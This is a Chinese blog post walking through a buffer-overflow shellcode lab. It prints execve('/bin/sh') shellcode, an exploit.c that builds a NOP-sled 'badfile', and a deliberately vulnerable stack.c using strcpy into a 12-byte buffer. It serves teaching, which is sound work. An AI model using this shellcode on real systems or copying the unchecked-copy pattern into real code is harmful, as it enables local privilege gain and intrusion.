缓冲区溢出-shellcode分析
来源:互联网 发布:缺省域名怎么设置 编辑:程序博客网 时间:2024/09/21 09:01
实验楼项目
shellcode结果就是调用出一个shell
这里的过程是先用exploit生成一个恶意文件,其中有溢出代码(汇编形式)
该文件内容:
12字节空 2字节文件装入内存的地址码,72字节空,然后为shellcode代码和空。
当stack的bug程序运行时,return的地址被覆盖为shellcode的地址,获取权限。
#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}
//生成汇编码gcc -o shellcode -ggdb -static shellcode.cgdb shellcodedisassemble main//结果"\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
生成恶意文件程序exploit
/* exploit.c *//* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>char shellcode[]="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv){ char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile);}
有bug的程序stack.c
/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){ char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1;}int main(int argc, char **argv){ char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1;}
0 0
- 缓冲区溢出-shellcode分析
- 缓冲区溢出分析第04课:ShellCode的编写
- 缓冲区溢出分析第05课:编写通用的ShellCode
- linux x86_64 缓冲区溢出分析 以及 shellcode简介
- linux 下实现缓冲区溢出漏洞shellcode
- Linux下缓冲区溢出攻击及Shellcode
- 缓冲区溢出机理分析
- 缓冲区溢出原理分析
- 缓冲区溢出漏洞攻击——Shellcode编写
- 缓冲区溢出漏洞攻击——Shellcode编写
- 通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)调用shellcode实例(一)
- 通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)调用shellcode实例(二)
- 缓冲区溢出分析第01课:缓冲区溢出分析导论
- 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析
- 缓冲区溢出攻击原理分析
- 缓冲区溢出分析第02课:缓冲区溢出的原理
- 缓冲区溢出分析第03课:缓冲区溢出的利用
- 缓冲区溢出分析第10课:Winamp缓冲区溢出研究
- rabbitmq——prefetch count
- UITabBarController
- Android--上的内存分配策略优化
- 第六章 图
- 30-CSS-10-CSS(CSS的布局-定位)
- 缓冲区溢出-shellcode分析
- Sizeof与Strlen的区别与联系
- Eclipse远程调试java web应用
- 30-CSS-11-CSS(CSS的布局-图文混排)
- Block
- HttpServletRequest对象方法的用法
- 获取UITableView每行中不同的UITextField输入的内容
- 兰花病虫害无污染防治法
- Hibernate懒加载深入分析